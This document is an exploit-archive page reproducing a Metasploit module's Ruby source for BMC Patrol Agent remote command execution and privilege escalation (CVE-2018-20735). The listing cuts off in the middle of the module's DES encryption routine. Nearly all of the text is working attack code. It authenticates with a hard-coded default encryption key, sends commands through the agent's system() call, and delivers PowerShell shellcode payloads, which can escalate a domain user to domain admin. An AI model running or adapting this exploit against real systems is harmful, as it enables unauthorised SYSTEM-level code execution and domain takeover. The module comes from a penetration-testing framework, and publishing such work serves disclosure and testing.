BMC Patrol Agent Privilege Escalation / Command Execution

2019.03.16
Credit: b0yd
Risk: High
Local: No
Remote: Yes
CVE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell @deflater = nil @inflater = nil SBOXES = [ 0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0, 0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000, 0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000, 0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0, 0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002, 0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800, 0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000, 0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002, 0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000, 0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002, 0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004, 0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000, 0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004, 0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000, 0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004, 0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004, 0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004, 0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004, 0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004, 0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000, 0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0, 0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, 0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000, 0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400, 0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0, 0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400, 0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000, 0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001, 0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001, 0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001, 0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001, 0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000, 0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000, 0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002, 0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000, 0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000, 0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002, 0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110, 0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000, 0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000, 0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110, 0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000, 0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000, 0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110, 0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110, 0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000, 0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0, 0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008, 0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000, 0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000, 0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000, 0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110, 0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110, 0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110, 0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000, 0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000, 0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000, 0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008, 0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800, 0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000, 0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800, 0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801, 0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1, 0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800, 0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400, 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400, 0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000, 0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000, 0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220, 0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220, 0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220, 0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, 0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220, 0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220, 0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000, 0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220, 0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000, 0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220 ].freeze PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\ "\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\ "\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\ "\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\ "\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\ "\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\ "\x23\x1C\x1F".freeze SBOX_BYTE_ORDER = [ 1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, 0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000, 0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000 ].freeze ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze DES_ENCRYPT = 0 def initialize(info = {}) super(update_info(info, 'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution', 'Description' => %q( This module leverages the remote command execution feature provided by the BMC Patrol Agent software. It can also be used to escalate privileges on Windows hosts as the software runs as SYSTEM but only verfies that the password of the provided user is correct. This also means if the software is running on a domain controller, it can be used to escalate from a normal domain user to domain admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses powershell to execute the payload. The powershell version tends to timeout on the first run so it may take multiple tries. ), 'License' => MSF_LICENSE, 'Author' => [ 'b0yd' # @rwincey / Vulnerability Discovery and MSF module author ], 'References' => [ ['CVE', '2018-20735'], ['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/'] ], 'Platform' => ['win', 'linux'], 'Targets' => [ [ 'Windows Powershell Injected Shellcode', { 'Platform' => 'win' } ], [ 'Generic Command Callback', { 'Arch' => ARCH_CMD, 'Platform' => %w[linux unix win] } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DefaultOptions' => { 'DisablePayloadHandler' => true }, 'DisclosureDate' => 'Jan 17 2019')) register_options( [ Opt::RPORT(3181), OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']), OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']), OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.']) ] ) end def cleanup disconnect print_status("Disconnected from BMC Patrol Agent.") @inflater.close @deflater.close super end def get_target_os(srv_info_msg) lines = srv_info_msg.split("\n") fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}" os = nil ver = nil lines[2..-2].each do |i| val = i.split("=") if val.length == 2 if val[0].strip! == "T" os = val[1] elsif val[0].strip! == "VER" ver = val[1] end end end [os, ver] end def get_cmd_output(cmd_output_msg) lines = cmd_output_msg.split("\n") fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}" # Parse out command results idx_start = cmd_output_msg.index("Result\x00") idx_end = cmd_output_msg.index("RemPsl_user") output = cmd_output_msg[idx_start + 7..idx_end - 1] output end def exploit # Manually start the handler if not running a single command if datastore['CMD'].nil? || datastore['CMD'].empty? # Set to nil if the cmd is empty for checks further down datastore['CMD'] = nil datastore['DisablePayloadHandler'] = false # Configure the payload handler payload_instance.exploit_config = { 'active_timeout' => 300 } # Setup the payload handler payload_instance.setup_handler # Start the payload handler payload_instance.start_handler end # Initialize zlib objects @deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY) @inflater = Zlib::Inflate.new # Connect to the BMC Patrol Agent connect print_status("Connected to BMC Patrol Agent.") # Create session msg create_session ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil? # Authenticate authenticate_user(datastore['USER'], datastore['PASSWORD']) # Receive the authentication response ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil? ret_msg = process_response(ret_data) if ret_msg =~ /logged in/ print_status("Successfully authenticated user.") else fail_with(Failure::UnexpectedReply, "Login failed. Aborting.") end # Receive the server info ret_data = receive_msg fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil? srv_info = process_response(ret_data) # Get the target's OS from their info msg target_os = get_target_os(srv_info) # When using autotargeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil? fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end target_name = target.name if !datastore['CMD'].nil? command = datastore['CMD'].tr('"', '\"') print_status("Command to execute: #{command}") elsif target_name == 'Windows Powershell Injected Shellcode' # Get encoded powershell of payload command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection') else command = payload.raw.tr('"', '\"') end # Run command run_cmd(command) # Receive command confirmation ret_data = receive_msg if !ret_data.nil? process_response(ret_data) end # Receive command output ret_data = receive_msg if !ret_data.nil? && !datastore['CMD'].nil? cmd_result_data = process_response(ret_data) cmd_result = get_cmd_output(cmd_result_data) print_status("Output:\n#{cmd_result}") end # Handle the shell handler end def receive_msg header = sock.get_once(6) if header.nil? return end payload_size_arr = header[0, 4] payload_size = payload_size_arr.unpack1("N") payload = '' if payload_size > 0 payload = sock.get_once(payload_size) if payload.nil? return end end return header + payload end def send_msg(type, compression, data) data_len = data.length buf = [data_len].pack('N') # Set the type buf += [type].pack('C') # Set compression flag buf += [compression].pack('C') # Add data buf += data # Send msg sock.put(buf) end def process_response(ret_data) # While style checks complain, I intend to leave this parsing # in place for debugging purposes ret_size_arr = ret_data[0, 4] ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment comp_flag = ret_data[5, 1] payload_data = ret_data[6..-1] if comp_flag == "\x00" bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment payload_data = @inflater.inflate(payload_data) end return payload_data end def run_cmd(cmd) user_num = rand 1000..9999 msg_1 = %(R_E { \tRE_ID=1 \tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num} \tRE_ORG=PemApi \tRE_SEV=1 \tRE_NSEV=5 \tRE_ST= } ) msg_1 += "\x00" # Compress the message comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def identify(user) inner_len = 15 msg_type = 8 len_str = [inner_len].pack("N") msg_str = [msg_type].pack("N") msg_1 = %(PEM_MSG { \tNSDL=#{inner_len} \tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00 } ) msg_1 += "\x00" print_status("Msg: #{msg_1}") bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment # Compress the message comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def create_session sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00" sess_msg += "\x00" * 0x68 send_msg(0x45, 0x2, sess_msg) end def authenticate_user(user, password) # Default encryption key enc_key = 'k$C4}@"_' output_data = des_crypt_func(password, enc_key, DES_ENCRYPT) # Convert to hex string encrpted_pw = output_data.unpack1("H*") des_pw = encrpted_pw.upcase msg_1 = %(ID { \tHOST=user \tUSER=#{user} \tPASS=#{des_pw} \tVER=V9.6.00 \tT=PEMAPI \tHTBT=1 \tTMOT=1728000 \tRTRS=3 } ) msg_1 += "\x00" comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) end def rotate_block_init(input_block_tuple) v6 = 0 v5 = 0 input_block_tuple = input_block_tuple.pack("V*").unpack("i*") v3 = input_block_tuple[0] v4 = input_block_tuple[1] if (v4 & 0x2000000) != 0 v5 = 1 end if (v4 & 0x20000) != 0 v5 |= 2 end if (v4 & 0x200) != 0 v5 |= 4 end if (v4 & 2) != 0 v5 |= 8 end if (v3 & 0x2000000) != 0 v5 |= 0x10 end if (v3 & 0x20000) != 0 v5 |= 0x20 end if (v3 & 0x200) != 0 v5 |= 0x40 end if (v3 & 2) != 0 v5 |= 0x80 end if (v4 & 0x8000000) != 0 v5 |= 0x100 end if (v4 & 0x80000) != 0 v5 |= 0x200 end if (v4 & 0x800) != 0 v5 |= 0x400 end if (v4 & 8) != 0 v5 |= 0x800 end if (v3 & 0x8000000) != 0 v5 |= 0x1000 end if (v3 & 0x80000) != 0 v5 |= 0x2000 end if (v3 & 0x800) != 0 v5 |= 0x4000 end if (v3 & 8) != 0 v5 |= 0x8000 end if (v4 & 0x20000000) != 0 v5 |= 0x10000 end if (v4 & 0x200000) != 0 v5 |= 0x20000 end if (v4 & 0x2000) != 0 v5 |= 0x40000 end if (v4 & 0x20) != 0 v5 |= 0x80000 end if (v3 & 0x20000000) != 0 v5 |= 0x100000 end if (v3 & 0x200000) != 0 v5 |= 0x200000 end if (v3 & 0x2000) != 0 v5 |= 0x400000 end if (v3 & 0x20) != 0 v5 |= 0x800000 end if (v4 < 0) v5 |= 0x1000000 end if (v4 & 0x800000) != 0 v5 |= 0x2000000 end if (v4 & 0x8000) != 0 v5 |= 0x4000000 end if (v4 & 0x80) != 0 v5 |= 0x8000000 end if (v3 < 0) v5 |= 0x10000000 end if (v3 & 0x800000) != 0 v5 |= 0x20000000 end if (v3 & 0x8000) != 0 v5 |= 0x40000000 end if (v3 & 0x80) != 0 v5 |= 0x80000000 end if (v4 & 0x1000000) != 0 v6 = 1 end if (v4 & 0x10000) != 0 v6 |= 2 end if (v4 & 0x100) != 0 v6 |= 4 end if (v4 & 1) != 0 v6 |= 8 end if (v3 & 0x1000000) != 0 v6 |= 0x10 end if (v3 & 0x10000) != 0 v6 |= 0x20 end if (v3 & 0x100) != 0 v6 |= 0x40 end if (v3 & 1) != 0 v6 |= 0x80 end if (v4 & 0x4000000) != 0 v6 |= 0x100 end if (v4 & 0x40000) != 0 v6 |= 0x200 end if (v4 & 0x400) != 0 v6 |= 0x400 end if (v4 & 4) != 0 v6 |= 0x800 end if (v3 & 0x4000000) != 0 v6 |= 0x1000 end if (v3 & 0x40000) != 0 v6 |= 0x2000 end if (v3 & 0x400) != 0 v6 |= 0x4000 end if (v3 & 4) != 0 v6 |= 0x8000 end if (v4 & 0x10000000) != 0 v6 |= 0x10000 end if (v4 & 0x100000) != 0 v6 |= 0x20000 end if (v4 & 0x1000) != 0 v6 |= 0x40000 end if (v4 & 0x10) != 0 v6 |= 0x80000 end if (v3 & 0x10000000) != 0 v6 |= 0x100000 end if (v3 & 0x100000) != 0 v6 |= 0x200000 end if (v3 & 0x1000) != 0 v6 |= 0x400000 end if (v3 & 0x10) != 0 v6 |= 0x800000 end if (v4 & 0x40000000) != 0 v6 |= 0x1000000 end if (v4 & 0x400000) != 0 v6 |= 0x2000000 end if (v4 & 0x4000) != 0 v6 |= 0x4000000 end if (v4 & 0x40) != 0 v6 |= 0x8000000 end if (v3 & 0x40000000) != 0 v6 |= 0x10000000 end if (v3 & 0x400000) != 0 v6 |= 0x20000000 end if (v3 & 0x4000) != 0 v6 |= 0x40000000 end if (v3 & 0x40) != 0 v6 |= 0x80000000 end # Create return tuple ret_block = Array.new ret_block.push v5 ret_block.push v6 ret_block end def rotate_block_final(input_block_tuple) v6 = 0 v5 = 0 input_block_tuple = input_block_tuple.pack("V*").unpack("i*") v3 = input_block_tuple[0] v4 = input_block_tuple[1] if (v4 & 0x80) != 0 v5 = 1 end if (v3 & 0x80) != 0 v5 |= 2 end if (v4 & 0x8000) != 0 v5 |= 4 end if (v3 & 0x8000) != 0 v5 |= 8 end if (v4 & 0x800000) != 0 v5 |= 0x10 end if (v3 & 0x800000) != 0 v5 |= 0x20 end if (v4 < 0) v5 |= 0x40 end if (v3 < 0) v5 |= 0x80 end if (v4 & 0x40) != 0 v5 |= 0x100 end if (v3 & 0x40) != 0 v5 |= 0x200 end if (v4 & 0x4000) != 0 v5 |= 0x400 end if (v3 & 0x4000) != 0 v5 |= 0x800 end if (v4 & 0x400000) != 0 v5 |= 0x1000 end if (v3 & 0x400000) != 0 v5 |= 0x2000 end if (v4 & 0x40000000) != 0 v5 |= 0x4000 end if (v3 & 0x40000000) != 0 v5 |= 0x8000 end if (v4 & 0x20) != 0 v5 |= 0x10000 end if (v3 & 0x20) != 0 v5 |= 0x20000 end if (v4 & 0x2000) != 0 v5 |= 0x40000 end if (v3 & 0x2000) != 0 v5 |= 0x80000 end if (v4 & 0x200000) != 0 v5 |= 0x100000 end if (v3 & 0x200000) != 0 v5 |= 0x200000 end if (v4 & 0x20000000) != 0 v5 |= 0x400000 end if (v3 & 0x20000000) != 0 v5 |= 0x800000 end if (v4 & 0x10) != 0 v5 |= 0x1000000 end if (v3 & 0x10) != 0 v5 |= 0x2000000 end if (v4 & 0x1000) != 0 v5 |= 0x4000000 end if (v3 & 0x1000) != 0 v5 |= 0x8000000 end if (v4 & 0x100000) != 0 v5 |= 0x10000000 end if (v3 & 0x100000) != 0 v5 |= 0x20000000 end if (v4 & 0x10000000) != 0 v5 |= 0x40000000 end if (v3 & 0x10000000) != 0 v5 |= 0x80000000 end if (v4 & 8) != 0 v6 = 1 end if (v3 & 8) != 0 v6 |= 2 end if (v4 & 0x800) != 0 v6 |= 4 end if (v3 & 0x800) != 0 v6 |= 8 end if (v4 & 0x80000) != 0 v6 |= 0x10 end if (v3 & 0x80000) != 0 v6 |= 0x20 end if (v4 & 0x8000000) != 0 v6 |= 0x40 end if (v3 & 0x8000000) != 0 v6 |= 0x80 end if (v4 & 4) != 0 v6 |= 0x100 end if (v3 & 4) != 0 v6 |= 0x200 end if (v4 & 0x400) != 0 v6 |= 0x400 end if (v3 & 0x400) != 0 v6 |= 0x800 end if (v4 & 0x40000) != 0 v6 |= 0x1000 end if (v3 & 0x40000) != 0 v6 |= 0x2000 end if (v4 & 0x4000000) != 0 v6 |= 0x4000 end if (v3 & 0x4000000) != 0 v6 |= 0x8000 end if (v4 & 2) != 0 v6 |= 0x10000 end if (v3 & 2) != 0 v6 |= 0x20000 end if (v4 & 0x200) != 0 v6 |= 0x40000 end if (v3 & 0x200) != 0 v6 |= 0x80000 end if (v4 & 0x20000) != 0 v6 |= 0x100000 end if (v3 & 0x20000) != 0 v6 |= 0x200000 end if (v4 & 0x2000000) != 0 v6 |= 0x400000 end if (v3 & 0x2000000) != 0 v6 |= 0x800000 end if (v4 & 1) != 0 v6 |= 0x1000000 end if (v3 & 1) != 0 v6 |= 0x2000000 end if (v4 & 0x100) != 0 v6 |= 0x4000000 end if (v3 & 0x100) != 0 v6 |= 0x8000000 end if (v4 & 0x10000) != 0 v6 |= 0x10000000 end if (v3 & 0x10000) != 0 v6 |= 0x20000000 end if (v4 & 0x1000000) != 0 v6 |= 0x40000000 end if (v3 & 0x1000000) != 0 v6 |= 0x80000000 end # Create return tuple ret_block = Array.new ret_block.push v5 ret_block.push v6 ret_block end def load(a1) a2 = Array.new(8, 0) v3 = a1 a2[0] = a1 & 0xff v3 >>= 3 a2[1] = v3 & 0xff v3 >>= 4 a2[2] = v3 & 0xff v3 >>= 4 a2[3] = v3 & 0xff v3 >>= 4 a2[4] = v3 & 0xff v3 >>= 4 a2[5] = v3 & 0xff v3 >>= 4 a2[6] = v3 & 0xff v3 >>= 4 a2[7] = v3 & 0xff a2[0] = (a2[0] * 2) & 0xff a2[7] |= (16 * a2[0]) & 0xff v3 >>= 4 a2[0] |= v3 & 0xff data_block = a2.pack("c*").unpack("V*") data_block[0] &= 0x3F3F3F3F data_block[1] &= 0x3F3F3F3F data_block end def desx(data_block, ksch, idx) ksch = ksch.pack("V*") ksch = ksch.unpack("Q<*") key_block = ksch[idx] data_block_ptr = data_block.pack("V*") data_block_ptr = data_block_ptr.unpack1("Q<*") data_block_ptr ^= key_block counter = 1 data_block_byte_ptr = [data_block_ptr].pack('Q<') left = SBOXES[data_block_byte_ptr[0].ord] right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)] counter += 1 left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] counter += 1 right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)] counter += 1 left ^= 